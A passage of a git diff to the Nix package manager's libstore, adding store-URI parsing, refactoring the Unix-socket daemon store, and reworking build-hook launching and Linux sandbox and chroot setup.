= Auto{}, + .params = std::move(params), + }; + } else if (baseURI == "daemon") { + return { + .variant = + Specified{ + .scheme = "unix", + .authority = "", + }, + .params = std::move(params), + }; + } else if (baseURI == "local") { + return { + .variant = + Specified{ + .scheme = "local", + .authority = "", + }, + .params = std::move(params), + }; + } else if (isNonUriPath(baseURI)) { + return { + .variant = + Specified{ + .scheme = "local", + .authority = absPath(baseURI), + }, + .params = std::move(params), + }; + } + } + + throw UsageError("Cannot parse Nix store '%s'", uri); +} + +/* Split URI into protocol+hierarchy part and its parameter set. */ +std::pair splitUriAndParams(const std::string & uri_) +{ + auto uri(uri_); + StoreReference::Params params; + auto q = uri.find('?'); + if (q != std::string::npos) { + params = decodeQuery(uri.substr(q + 1)); + uri = uri_.substr(0, q); + } + return {uri, params}; +} + +} diff --git a/src/libstore/store-reference.hh b/src/libstore/store-reference.hh new file mode 100644 index 000000000..459cea9c2 --- /dev/null +++ b/src/libstore/store-reference.hh @@ -0,0 +1,91 @@ +#pragma once +///@file + +#include + +#include "types.hh" + +namespace nix { + +/** + * A parsed Store URI (URI is a slight misnomer...), parsed but not yet + * resolved to a specific instance and query parms validated. + * + * Supported values are: + * + * - ‘local’: The Nix store in /nix/store and database in + * /nix/var/nix/db, accessed directly. + * + * - ‘daemon’: The Nix store accessed via a Unix domain socket + * connection to nix-daemon. + * + * - ‘unix://’: The Nix store accessed via a Unix domain socket + * connection to nix-daemon, with the socket located at . + * + * - ‘auto’ or ‘’: Equivalent to ‘local’ or ‘daemon’ depending on + * whether the user has write access to the local Nix + * store/database. + * + * - ‘file://’: A binary cache stored in . + * + * - ‘https://’: A binary cache accessed via HTTP. + * + * - ‘s3://’: A writable binary cache stored on Amazon's Simple + * Storage Service. + * + * - ‘ssh://[user@]’: A remote Nix store accessed by running + * ‘nix-store --serve’ via SSH. + * + * You can pass parameters to the store type by appending + * ‘?key=value&key=value&...’ to the URI. + */ +struct StoreReference +{ + using Params = std::map; + + /** + * Special store reference `""` or `"auto"` + */ + struct Auto + { + inline bool operator==(const Auto & rhs) const = default; + inline auto operator<=>(const Auto & rhs) const = default; + }; + + /** + * General case, a regular `scheme://authority` URL. + */ + struct Specified + { + std::string scheme; + std::string authority = ""; + + bool operator==(const Specified & rhs) const = default; + auto operator<=>(const Specified & rhs) const = default; + }; + + typedef std::variant Variant; + + Variant variant; + + Params params; + + bool operator==(const StoreReference & rhs) const = default; + + /** + * Render the whole store reference as a URI, including parameters. + */ + std::string render() const; + + /** + * Parse a URI into a store reference. + */ + static StoreReference parse(const std::string & uri, const Params & extraParams = Params{}); +}; + +/** + * Split URI into protocol+hierarchy part and its parameter set. + */ +std::pair splitUriAndParams(const std::string & uri); + +} diff --git a/src/libstore/tests/local.mk b/src/libstore/tests/local.mk deleted file mode 100644 index f74295d97..000000000 --- a/src/libstore/tests/local.mk +++ /dev/null @@ -1,15 +0,0 @@ -check: libstore-tests_RUN - -programs += libstore-tests - -libstore-tests_DIR := $(d) - -libstore-tests_INSTALL_DIR := - -libstore-tests_SOURCES := $(wildcard $(d)/*.cc) - -libstore-tests_CXXFLAGS += -I src/libstore -I src/libutil - -libstore-tests_LIBS = libstore libutil - -libstore-tests_LDFLAGS := $(GTEST_LIBS) diff --git a/src/libstore/tests/path-with-outputs.cc b/src/libstore/tests/path-with-outputs.cc deleted file mode 100644 index 350ea7ffd..000000000 --- a/src/libstore/tests/path-with-outputs.cc +++ /dev/null @@ -1,46 +0,0 @@ -#include "path-with-outputs.hh" - -#include - -namespace nix { - -TEST(parseOutputsSpec, basic) -{ - { - auto [prefix, outputsSpec] = parseOutputsSpec("foo"); - ASSERT_EQ(prefix, "foo"); - ASSERT_TRUE(std::get_if(&outputsSpec)); - } - - { - auto [prefix, outputsSpec] = parseOutputsSpec("foo^*"); - ASSERT_EQ(prefix, "foo"); - ASSERT_TRUE(std::get_if(&outputsSpec)); - } - - { - auto [prefix, outputsSpec] = parseOutputsSpec("foo^out"); - ASSERT_EQ(prefix, "foo"); - ASSERT_TRUE(std::get(outputsSpec) == OutputNames({"out"})); - } - - { - auto [prefix, outputsSpec] = parseOutputsSpec("foo^out,bin"); - ASSERT_EQ(prefix, "foo"); - ASSERT_TRUE(std::get(outputsSpec) == OutputNames({"out", "bin"})); - } - - { - auto [prefix, outputsSpec] = parseOutputsSpec("foo^bar^out,bin"); - ASSERT_EQ(prefix, "foo^bar"); - ASSERT_TRUE(std::get(outputsSpec) == OutputNames({"out", "bin"})); - } - - { - auto [prefix, outputsSpec] = parseOutputsSpec("foo^&*()"); - ASSERT_EQ(prefix, "foo^&*()"); - ASSERT_TRUE(std::get_if(&outputsSpec)); - } -} - -} diff --git a/src/libstore/uds-remote-store.cc b/src/libstore/uds-remote-store.cc index 5c38323cd..3c445eb13 100644 --- a/src/libstore/uds-remote-store.cc +++ b/src/libstore/uds-remote-store.cc @@ -1,23 +1,59 @@ #include "uds-remote-store.hh" +#include "unix-domain-socket.hh" +#include "worker-protocol.hh" #include #include -#include -#include -#include #include #include -#include - +#ifdef _WIN32 +# include +# include +#else +# include +# include +#endif namespace nix { -UDSRemoteStore::UDSRemoteStore(const Params & params) +UDSRemoteStoreConfig::UDSRemoteStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) : StoreConfig(params) , LocalFSStoreConfig(params) , RemoteStoreConfig(params) - , UDSRemoteStoreConfig(params) + , path{authority.empty() ? settings.nixDaemonSocketFile : authority} +{ + if (scheme != UDSRemoteStoreConfig::scheme) { + throw UsageError("Scheme must be 'unix'"); + } +} + + +std::string UDSRemoteStoreConfig::doc() +{ + return + #include "uds-remote-store.md" + ; +} + + +// A bit gross that we now pass empty string but this is knowing that +// empty string will later default to the same nixDaemonSocketFile. Why +// don't we just wire it all through? I believe there are cases where it +// will live reload so we want to continue to account for that. +UDSRemoteStore::UDSRemoteStore(const Params & params) + : UDSRemoteStore(scheme, "", params) +{} + + +UDSRemoteStore::UDSRemoteStore(std::string_view scheme, std::string_view authority, const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(params) + , RemoteStoreConfig(params) + , UDSRemoteStoreConfig(scheme, authority, params) , Store(params) , LocalFSStore(params) , RemoteStore(params) @@ -25,29 +61,21 @@ UDSRemoteStore::UDSRemoteStore(const Params & params) } -UDSRemoteStore::UDSRemoteStore( - const std::string scheme, - std::string socket_path, - const Params & params) - : UDSRemoteStore(params) -{ - path.emplace(socket_path); -} - - std::string UDSRemoteStore::getUri() { - if (path) { - return std::string("unix://") + *path; - } else { - return "daemon"; - } + return path == settings.nixDaemonSocketFile + ? // FIXME: Not clear why we return daemon here and not default + // to settings.nixDaemonSocketFile + // + // unix:// with no path also works. Change what we return? + "daemon" + : std::string(scheme) + "://" + path; } void UDSRemoteStore::Connection::closeWrite() { - shutdown(fd.get(), SHUT_WR); + shutdown(toSocket(fd.get()), SHUT_WR); } @@ -58,7 +86,7 @@ ref UDSRemoteStore::openConnection() /* Connect to a daemon that does the privileged work for us. */ conn->fd = createUnixDomainSocket(); - nix::connect(conn->fd.get(), path ? *path : settings.nixDaemonSocketFile); + nix::connect(toSocket(conn->fd.get()), path); conn->from.fd = conn->fd.get(); conn->to.fd = conn->fd.get(); @@ -69,6 +97,15 @@ ref UDSRemoteStore::openConnection() } +void UDSRemoteStore::addIndirectRoot(const Path & path) +{ + auto conn(getConnection()); + conn->to << WorkerProto::Op::AddIndirectRoot << path; + conn.processStderr(); + readInt(conn->from); +} + + static RegisterStoreImplementation regUDSRemoteStore; } diff --git a/src/libstore/uds-remote-store.hh b/src/libstore/uds-remote-store.hh index f8dfcca70..a8e571664 100644 --- a/src/libstore/uds-remote-store.hh +++ b/src/libstore/uds-remote-store.hh @@ -1,43 +1,84 @@ #pragma once +///@file #include "remote-store.hh" -#include "local-fs-store.hh" +#include "remote-store-connection.hh" +#include "indirect-root-store.hh" namespace nix { struct UDSRemoteStoreConfig : virtual LocalFSStoreConfig, virtual RemoteStoreConfig { - UDSRemoteStoreConfig(const Store::Params & params) - : StoreConfig(params) - , LocalFSStoreConfig(params) - , RemoteStoreConfig(params) - { - } + // TODO(fzakaria): Delete this constructor once moved over to the factory pattern + // outlined in https://github.com/NixOS/nix/issues/10766 + using LocalFSStoreConfig::LocalFSStoreConfig; + using RemoteStoreConfig::RemoteStoreConfig; + + /** + * @param authority is the socket path. + */ + UDSRemoteStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params); const std::string name() override { return "Local Daemon Store"; } + + std::string doc() override; + + /** + * The path to the unix domain socket. + * + * The default is `settings.nixDaemonSocketFile`, but we don't write + * that below, instead putting in the constructor. + */ + Path path; + +protected: + static constexpr char const * scheme = "unix"; + +public: + static std::set uriSchemes() + { return {scheme}; } }; -class UDSRemoteStore : public virtual UDSRemoteStoreConfig, public virtual LocalFSStore, public virtual RemoteStore +class UDSRemoteStore : public virtual UDSRemoteStoreConfig + , public virtual IndirectRootStore + , public virtual RemoteStore { public: + /** + * @deprecated This is the old API to construct the store. + */ UDSRemoteStore(const Params & params); - UDSRemoteStore(const std::string scheme, std::string path, const Params & params); + + /** + * @param authority is the socket path. + */ + UDSRemoteStore( + std::string_view scheme, + std::string_view authority, + const Params & params); std::string getUri() override; - static std::set uriSchemes() - { return {"unix"}; } - - bool sameMachine() override - { return true; } - - ref getFSAccessor() override - { return LocalFSStore::getFSAccessor(); } + ref getFSAccessor(bool requireValidPath = true) override + { return LocalFSStore::getFSAccessor(requireValidPath); } void narFromPath(const StorePath & path, Sink & sink) override { LocalFSStore::narFromPath(path, sink); } + /** + * Implementation of `IndirectRootStore::addIndirectRoot()` which + * delegates to the remote store. + * + * The idea is that the client makes the direct symlink, so it is + * owned managed by the client's user account, and the server makes + * the indirect symlink. + */ + void addIndirectRoot(const Path & path) override; + private: struct Connection : RemoteStore::Connection @@ -47,7 +88,6 @@ private: }; ref openConnection() override; - std::optional path; }; } diff --git a/src/libstore/uds-remote-store.md b/src/libstore/uds-remote-store.md new file mode 100644 index 000000000..8df0bd6ff --- /dev/null +++ b/src/libstore/uds-remote-store.md @@ -0,0 +1,9 @@ +R"( + +**Store URL format**: `daemon`, `unix://`*path* + +This store type accesses a Nix store by talking to a Nix daemon +listening on the Unix domain socket *path*. The store pseudo-URL +`daemon` is equivalent to `unix:///nix/var/nix/daemon-socket/socket`. + +)" diff --git a/src/libstore/unix/build/child.cc b/src/libstore/unix/build/child.cc new file mode 100644 index 000000000..aa31c3caf --- /dev/null +++ b/src/libstore/unix/build/child.cc @@ -0,0 +1,37 @@ +#include "child.hh" +#include "current-process.hh" +#include "logging.hh" + +#include +#include + +namespace nix { + +void commonChildInit() +{ + logger = makeSimpleLogger(); + + const static std::string pathNullDevice = "/dev/null"; + restoreProcessContext(false); + + /* Put the child in a separate session (and thus a separate + process group) so that it has no controlling terminal (meaning + that e.g. ssh cannot open /dev/tty) and it doesn't receive + terminal signals. */ + if (setsid() == -1) + throw SysError("creating a new session"); + + /* Dup stderr to stdout. */ + if (dup2(STDERR_FILENO, STDOUT_FILENO) == -1) + throw SysError("cannot dup stderr into stdout"); + + /* Reroute stdin to /dev/null. */ + int fdDevNull = open(pathNullDevice.c_str(), O_RDWR); + if (fdDevNull == -1) + throw SysError("cannot open '%1%'", pathNullDevice); + if (dup2(fdDevNull, STDIN_FILENO) == -1) + throw SysError("cannot dup null device into stdin"); + close(fdDevNull); +} + +} diff --git a/src/libstore/unix/build/child.hh b/src/libstore/unix/build/child.hh new file mode 100644 index 000000000..3dfc552b9 --- /dev/null +++ b/src/libstore/unix/build/child.hh @@ -0,0 +1,11 @@ +#pragma once +///@file + +namespace nix { + +/** + * Common initialisation performed in child processes. + */ +void commonChildInit(); + +} diff --git a/src/libstore/build/hook-instance.cc b/src/libstore/unix/build/hook-instance.cc similarity index 68% rename from src/libstore/build/hook-instance.cc rename to src/libstore/unix/build/hook-instance.cc index cb58a1f02..4f8492fe9 100644 --- a/src/libstore/build/hook-instance.cc +++ b/src/libstore/unix/build/hook-instance.cc @@ -1,22 +1,34 @@ #include "globals.hh" +#include "config-global.hh" #include "hook-instance.hh" +#include "file-system.hh" +#include "child.hh" +#include "strings.hh" +#include "executable-path.hh" namespace nix { HookInstance::HookInstance() { - debug("starting build hook '%s'", settings.buildHook); + debug("starting build hook '%s'", concatStringsSep(" ", settings.buildHook.get())); - auto buildHookArgs = tokenizeString>(settings.buildHook.get()); + auto buildHookArgs = settings.buildHook.get(); if (buildHookArgs.empty()) throw Error("'build-hook' setting is empty"); - auto buildHook = buildHookArgs.front(); + std::filesystem::path buildHook = buildHookArgs.front(); buildHookArgs.pop_front(); + try { + buildHook = ExecutablePath::load().findPath(buildHook); + } catch (ExecutableLookupError & e) { + e.addTrace(nullptr, "while resolving the 'build-hook' setting'"); + throw; + } + Strings args; - args.push_back(std::string(baseNameOf(buildHook))); + args.push_back(buildHook.filename().string()); for (auto & arg : buildHookArgs) args.push_back(arg); @@ -35,7 +47,10 @@ HookInstance::HookInstance() /* Fork the hook. */ pid = startProcess([&]() { - commonChildInit(fromHook); + if (dup2(fromHook.writeSide.get(), STDERR_FILENO) == -1) + throw SysError("cannot pipe standard error into log file"); + + commonChildInit(); if (chdir("/") == -1) throw SysError("changing into /"); @@ -52,7 +67,7 @@ HookInstance::HookInstance() if (dup2(builderOut.readSide.get(), 5) == -1) throw SysError("dupping builder's stdout/stderr"); - execv(buildHook.c_str(), stringsToCharPtrs(args).data()); + execv(buildHook.native().c_str(), stringsToCharPtrs(args).data()); throw SysError("executing '%s'", buildHook); }); diff --git a/src/libstore/build/hook-instance.hh b/src/libstore/unix/build/hook-instance.hh similarity index 50% rename from src/libstore/build/hook-instance.hh rename to src/libstore/unix/build/hook-instance.hh index 9e8cff128..61cf534f4 100644 --- a/src/libstore/build/hook-instance.hh +++ b/src/libstore/unix/build/hook-instance.hh @@ -1,22 +1,32 @@ #pragma once +///@file #include "logging.hh" #include "serialise.hh" +#include "processes.hh" namespace nix { struct HookInstance { - /* Pipes for talking to the build hook. */ + /** + * Pipes for talking to the build hook. + */ Pipe toHook; - /* Pipe for the hook's standard output/error. */ + /** + * Pipe for the hook's standard output/error. + */ Pipe fromHook; - /* Pipe for the builder's standard output/error. */ + /** + * Pipe for the builder's standard output/error. + */ Pipe builderOut; - /* The process ID of the hook. */ + /** + * The process ID of the hook. + */ Pid pid; FdSink sink; diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc similarity index 79% rename from src/libstore/build/local-derivation-goal.cc rename to src/libstore/unix/build/local-derivation-goal.cc index dccd096ec..e1035fbdd 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -1,20 +1,24 @@ #include "local-derivation-goal.hh" -#include "gc-store.hh" +#include "indirect-root-store.hh" #include "hook-instance.hh" #include "worker.hh" #include "builtins.hh" #include "builtins/buildenv.hh" -#include "references.hh" +#include "path-references.hh" #include "finally.hh" #include "util.hh" #include "archive.hh" +#include "git.hh" #include "compression.hh" #include "daemon.hh" -#include "worker-protocol.hh" #include "topo-sort.hh" #include "callback.hh" #include "json-utils.hh" -#include "cgroup.hh" +#include "current-process.hh" +#include "child.hh" +#include "unix-domain-socket.hh" +#include "posix-fs-canonicalise.hh" +#include "posix-source-accessor.hh" #include #include @@ -24,7 +28,6 @@ #include #include #include -#include #include #include @@ -34,19 +37,22 @@ /* Includes required for chroot support. */ #if __linux__ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#if HAVE_SECCOMP -#include -#endif -#define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) +# include "fchmodat2-compat.hh" +# include +# include +# include +# include +# include +# include +# include +# include +# include "namespaces.hh" +# if HAVE_SECCOMP +# include +# endif +# define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) +# include "cgroup.hh" +# include "personality.hh" #endif #if __APPLE__ @@ -58,6 +64,8 @@ #include #include +#include "strings.hh" + namespace nix { void handleDiffHook( @@ -65,12 +73,13 @@ void handleDiffHook( const Path & tryA, const Path & tryB, const Path & drvPath, const Path & tmpDir) { - auto diffHook = settings.diffHook; - if (diffHook != "" && settings.runDiffHook) { + auto & diffHookOpt = settings.diffHook.get(); + if (diffHookOpt && settings.runDiffHook) { + auto & diffHook = *diffHookOpt; try { auto diffRes = runProgram(RunOptions { .program = diffHook, - .searchPath = true, + .lookupPath = true, .args = {tryA, tryB, drvPath, tmpDir}, .uid = uid, .gid = gid, @@ -87,13 +96,20 @@ void handleDiffHook( } catch (Error & error) { ErrorInfo ei = error.info(); // FIXME: wrap errors. - ei.msg = hintfmt("diff hook execution failed: %s", ei.msg.str()); + ei.msg = HintFmt("diff hook execution failed: %s", ei.msg.str()); logError(ei); } } } +// We want $HOME to be un-creatable in the sandbox. On Linux, +// you can't create anything inside /proc since it's a virtual filesystem. +// On Darwin it seems that `/homeless-shelter` is good enough. +#if __linux__ +const Path LocalDerivationGoal::homeDir = "/proc/homeless-shelter"; +#else const Path LocalDerivationGoal::homeDir = "/homeless-shelter"; +#endif LocalDerivationGoal::~LocalDerivationGoal() @@ -156,7 +172,7 @@ void LocalDerivationGoal::killSandbox(bool getStats) buildResult.cpuSystem = stats.cpuSystem; } #else - abort(); + unreachable(); #endif } @@ -168,15 +184,22 @@ void LocalDerivationGoal::killSandbox(bool getStats) } -void LocalDerivationGoal::tryLocalBuild() { +Goal::Co LocalDerivationGoal::tryLocalBuild() +{ +#if __APPLE__ + additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or(""); +#endif + unsigned int curBuilds = worker.getNrLocalBuilds(); if (curBuilds >= settings.maxBuildJobs) { - state = &DerivationGoal::tryToBuild; worker.waitForBuildSlot(shared_from_this()); outputLocks.unlock(); - return; + co_await Suspend{}; + co_return tryToBuild(); } + assert(derivationType); + /* Are we doing a chroot build? */ { auto noChroot = parsedDrv->getBoolAttr("__noChroot"); @@ -194,7 +217,7 @@ void LocalDerivationGoal::tryLocalBuild() { else if (settings.sandboxMode == smDisabled) useChroot = false; else if (settings.sandboxMode == smRelaxed) - useChroot = derivationType.isSandboxed() && !noChroot; + useChroot = derivationType->isSandboxed() && !noChroot; } auto & localStore = getLocalStore(); @@ -206,6 +229,17 @@ void LocalDerivationGoal::tryLocalBuild() { #endif } + #if __linux__ + if (useChroot) { + if (!mountAndPidNamespacesSupported()) { + if (!settings.sandboxFallback) + throw Error("this system does not support the kernel namespaces that are required for sandboxing; use '--no-sandbox' to disable sandboxing"); + debug("auto-disabling sandboxing because the prerequisite namespaces are not available"); + useChroot = false; + } + } + #endif + if (useBuildUsers()) { if (!buildUser) buildUser = acquireUserLock(parsedDrv->useUidRange() ? 65536 : 1, useChroot); @@ -213,9 +247,10 @@ void LocalDerivationGoal::tryLocalBuild() { if (!buildUser) { if (!actLock) actLock = std::make_unique(*logger, lvlWarn, actBuildWaiting, - fmt("waiting for UID to build '%s'", yellowtxt(worker.store.printStorePath(drvPath)))); + fmt("waiting for a free build user ID for '%s'", Magenta(worker.store.printStorePath(drvPath)))); worker.waitForAWhile(shared_from_this()); - return; + co_await Suspend{}; + co_return tryLocalBuild(); } } @@ -230,15 +265,13 @@ void LocalDerivationGoal::tryLocalBuild() { outputLocks.unlock(); buildUser.reset(); worker.permanentFailure = true; - done(BuildResult::InputRejected, {}, std::move(e)); - return; + co_return done(BuildResult::InputRejected, {}, std::move(e)); } - /* This state will be reached when we get EOF on the child's - log pipe. */ - state = &DerivationGoal::buildDone; - started(); + co_await Suspend{}; + // after EOF on child + co_return buildDone(); } static void chmod_(const Path & path, mode_t mode) @@ -260,7 +293,7 @@ static void movePath(const Path & src, const Path & dst) if (changePerm) chmod_(src, st.st_mode | S_IWUSR); - renameFile(src, dst); + std::filesystem::rename(src, dst); if (changePerm) chmod_(dst, st.st_mode); @@ -280,7 +313,7 @@ void LocalDerivationGoal::closeReadPipes() if (hook) { DerivationGoal::closeReadPipes(); } else - builderOut.readSide = -1; + builderOut.close(); } @@ -345,9 +378,9 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull() for (auto & [_, status] : initialOutputs) { if (!status.known) continue; if (buildMode != bmCheck && status.known->isValid()) continue; - auto p = worker.store.printStorePath(status.known->path); + auto p = worker.store.toRealPath(status.known->path); if (pathExists(chrootRootDir + p)) - renameFile((chrootRootDir + p), p); + std::filesystem::rename((chrootRootDir + p), p); } return diskFull; @@ -372,31 +405,40 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() cleanupPostOutputsRegisteredModeCheck(); } - -int childEntry(void * arg) -{ - ((LocalDerivationGoal *) arg)->runChild(); - return 1; -} - #if __linux__ -static void linkOrCopy(const Path & from, const Path & to) -{ - if (link(from.c_str(), to.c_str()) == -1) { - /* Hard-linking fails if we exceed the maximum link count on a - file (e.g. 32000 of ext3), which is quite possible after a - 'nix-store --optimise'. FIXME: actually, why don't we just - bind-mount in this case? +static void doBind(const Path & source, const Path & target, bool optional = false) { + debug("bind mounting '%1%' to '%2%'", source, target); - It can also fail with EPERM in BeegFS v7 and earlier versions - which don't allow hard-links to other directories */ - if (errno != EMLINK && errno != EPERM) - throw SysError("linking '%s' to '%s'", to, from); - copyPath(from, to); + auto bindMount = [&]() { + if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1) + throw SysError("bind mount from '%1%' to '%2%' failed", source, target); + }; + + auto maybeSt = maybeLstat(source); + if (!maybeSt) { + if (optional) + return; + else + throw SysError("getting attributes of path '%1%'", source); } -} -#endif + auto st = *maybeSt; + if (S_ISDIR(st.st_mode)) { + createDirs(target); + bindMount(); + } else if (S_ISLNK(st.st_mode)) { + // Symlinks can (apparently) not be bind-mounted, so just copy it + createDirs(dirOf(target)); + copyFile( + std::filesystem::path(source), + std::filesystem::path(target), false); + } else { + createDirs(dirOf(target)); + writeFile(target, ""); + bindMount(); + } +}; +#endif void LocalDerivationGoal::startBuilder() { @@ -407,7 +449,7 @@ void LocalDerivationGoal::startBuilder() ) { #if __linux__ - settings.requireExperimentalFeature(Xp::Cgroups); + experimentalFeatureSettings.require(Xp::Cgroups); auto cgroupFS = getCgroupFS(); if (!cgroupFS) @@ -467,14 +509,26 @@ void LocalDerivationGoal::startBuilder() settings.thisSystem, concatStringsSep(", ", worker.store.systemFeatures)); -#if __APPLE__ - additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or(""); -#endif - /* Create a temporary directory where the build will take place. */ - tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700); + topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); +#if __APPLE__ + if (false) { +#else + if (useChroot) { +#endif + /* If sandboxing is enabled, put the actual TMPDIR underneath + an inaccessible root-owned directory, to prevent outside + access. + On macOS, we don't use an actual chroot, so this isn't + possible. Any mitigation along these lines would have to be + done directly in the sandbox profile. */ + tmpDir = topTmpDir + "/build"; + createDir(tmpDir, 0700); + } else { + tmpDir = topTmpDir; + } chownToBuilder(tmpDir); for (auto & [outputName, status] : initialOutputs) { @@ -572,7 +626,7 @@ void LocalDerivationGoal::startBuilder() /* Allow a user-configurable set of directories from the host file system. */ - dirsInChroot.clear(); + pathsInChroot.clear(); for (auto i : settings.sandboxPaths.get()) { if (i.empty()) continue; @@ -583,15 +637,19 @@ void LocalDerivationGoal::startBuilder() } size_t p = i.find('='); if (p == std::string::npos) - dirsInChroot[i] = {i, optional}; + pathsInChroot[i] = {i, optional}; else - dirsInChroot[i.substr(0, p)] = {i.substr(p + 1), optional}; + pathsInChroot[i.substr(0, p)] = {i.substr(p + 1), optional}; } - dirsInChroot[tmpDirInSandbox] = tmpDir; + if (hasPrefix(worker.store.storeDir, tmpDirInSandbox)) + { + throw Error("`sandbox-build-dir` must not contain the storeDir"); + } + pathsInChroot[tmpDirInSandbox] = tmpDir; /* Add the closure of store paths to the chroot. */ StorePathSet closure; - for (auto & i : dirsInChroot) + for (auto & i : pathsInChroot) try { if (worker.store.isInStore(i.second.source)) worker.store.computeFSClosure(worker.store.toStorePath(i.second.source).first, closure); @@ -602,7 +660,7 @@ void LocalDerivationGoal::startBuilder() } for (auto & i : closure) { auto p = worker.store.printStorePath(i); - dirsInChroot.insert_or_assign(p, p); + pathsInChroot.insert_or_assign(p, p); } PathSet allowedPaths = settings.allowedImpureHostPrefixes; @@ -630,23 +688,27 @@ void LocalDerivationGoal::startBuilder() /* Allow files in __impureHostDeps to be missing; e.g. macOS 11+ has no /usr/lib/libSystem*.dylib */ - dirsInChroot[i] = {i, true}; + pathsInChroot[i] = {i, true}; } #if __linux__ /* Create a temporary directory in which we set up the chroot environment using bind-mounts. We put it in the Nix store - to ensure that we can create hard-links to non-directory - inputs in the fake Nix store in the chroot (see below). */ - chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; - deletePath(chrootRootDir); + so that the build outputs can be moved efficiently from the + chroot to their final location. */ + chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; + deletePath(chrootParentDir); /* Clean up the chroot directory automatically. */ - autoDelChroot = std::make_shared(chrootRootDir); + autoDelChroot = std::make_shared(chrootParentDir); - printMsg(lvlChatty, format("setting up chroot environment in '%1%'") % chrootRootDir); + printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir); + + if (mkdir(chrootParentDir.c_str(), 0700) == -1) + throw SysError("cannot create '%s'", chrootRootDir); + + chrootRootDir = chrootParentDir + "/root"; - // FIXME: make this 0700 if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1) throw SysError("cannot create '%1%'", chrootRootDir); @@ -664,7 +726,8 @@ void LocalDerivationGoal::startBuilder() nobody account. The latter is kind of a hack to support Samba-in-QEMU. */ createDirs(chrootRootDir + "/etc"); - chownToBuilder(chrootRootDir + "/etc"); + if (parsedDrv->useUidRange()) + chownToBuilder(chrootRootDir + "/etc"); if (parsedDrv->useUidRange() && (!buildUser || buildUser->getUIDCount() < 65536)) throw Error("feature 'uid-range' requires the setting '%s' to be enabled", settings.autoAllocateUids.name); @@ -677,7 +740,7 @@ void LocalDerivationGoal::startBuilder() "nogroup:x:65534:\n", sandboxGid())); /* Create /etc/hosts with localhost entry. */ - if (derivationType.isSandboxed()) + if (derivationType->isSandboxed()) writeFile(chrootRootDir + "/etc/hosts", "127.0.0.1 localhost\n::1 localhost\n"); /* Make the closure of the inputs available in the chroot, @@ -697,15 +760,12 @@ void LocalDerivationGoal::startBuilder() for (auto & i : inputPaths) { auto p = worker.store.printStorePath(i); Path r = worker.store.toRealPath(p); - if (S_ISDIR(lstat(r).st_mode)) - dirsInChroot.insert_or_assign(p, r); - else - linkOrCopy(r, chrootRootDir + p); + pathsInChroot.insert_or_assign(p, r); } /* If we're repairing, checking or rebuilding part of a multiple-outputs derivation, it's possible that we're - rebuilding a path that is in settings.dirsInChroot + rebuilding a path that is in settings.sandbox-paths (typically the dependencies of /bin/sh). Throw them out. */ for (auto & i : drv->outputsAndOptPaths(worker.store)) { @@ -715,7 +775,7 @@ void LocalDerivationGoal::startBuilder() is already in the sandbox, so we don't need to worry about removing it. */ if (i.second.second) - dirsInChroot.erase(worker.store.printStorePath(*i.second.second)); + pathsInChroot.erase(worker.store.printStorePath(*i.second.second)); } if (cgroup) { @@ -746,8 +806,7 @@ void LocalDerivationGoal::startBuilder() throw Error("home directory '%1%' exists; please remove it to assure purity of builds without sandboxing", homeDir); if (useChroot && settings.preBuildHook != "" && dynamic_cast(drv.get())) { - printMsg(lvlChatty, format("executing pre-build hook '%1%'") - % settings.preBuildHook); + printMsg(lvlChatty, "executing pre-build hook '%1%'", settings.preBuildHook); auto args = useChroot ? Strings({worker.store.printStorePath(drvPath), chrootRootDir}) : Strings({ worker.store.printStorePath(drvPath) }); enum BuildHookState { @@ -774,9 +833,9 @@ void LocalDerivationGoal::startBuilder() } else { auto p = line.find('='); if (p == std::string::npos) - dirsInChroot[line] = line; + pathsInChroot[line] = line; else - dirsInChroot[line.substr(0, p)] = line.substr(p + 1); + pathsInChroot[line.substr(0, p)] = line.substr(p + 1); } } } @@ -796,15 +855,13 @@ void LocalDerivationGoal::startBuilder() /* Create the log file. */ Path logFile = openLogFile(); - /* Create a pipe to get the output of the builder. */ - //builderOut.create(); - - builderOut.readSide = posix_openpt(O_RDWR | O_NOCTTY); - if (!builderOut.readSide) + /* Create a pseudoterminal to get the output of the builder. */ + builderOut = posix_openpt(O_RDWR | O_NOCTTY); + if (!builderOut) throw SysError("opening pseudoterminal master"); // FIXME: not thread-safe, use ptsname_r - std::string slaveName(ptsname(builderOut.readSide.get())); + std::string slaveName = ptsname(builderOut.get()); if (buildUser) { if (chmod(slaveName.c_str(), 0600)) @@ -815,34 +872,34 @@ void LocalDerivationGoal::startBuilder() } #if __APPLE__ else { - if (grantpt(builderOut.readSide.get())) + if (grantpt(builderOut.get())) throw SysError("granting access to pseudoterminal slave"); } #endif - #if 0 - // Mount the pt in the sandbox so that the "tty" command works. - // FIXME: this doesn't work with the new devpts in the sandbox. - if (useChroot) - dirsInChroot[slaveName] = {slaveName, false}; - #endif - - if (unlockpt(builderOut.readSide.get())) + if (unlockpt(builderOut.get())) throw SysError("unlocking pseudoterminal"); - builderOut.writeSide = open(slaveName.c_str(), O_RDWR | O_NOCTTY); - if (!builderOut.writeSide) - throw SysError("opening pseudoterminal slave"); + /* Open the slave side of the pseudoterminal and use it as stderr. */ + auto openSlave = [&]() + { + AutoCloseFD builderOut = open(slaveName.c_str(), O_RDWR | O_NOCTTY); + if (!builderOut) + throw SysError("opening pseudoterminal slave"); - // Put the pt into raw mode to prevent \n -> 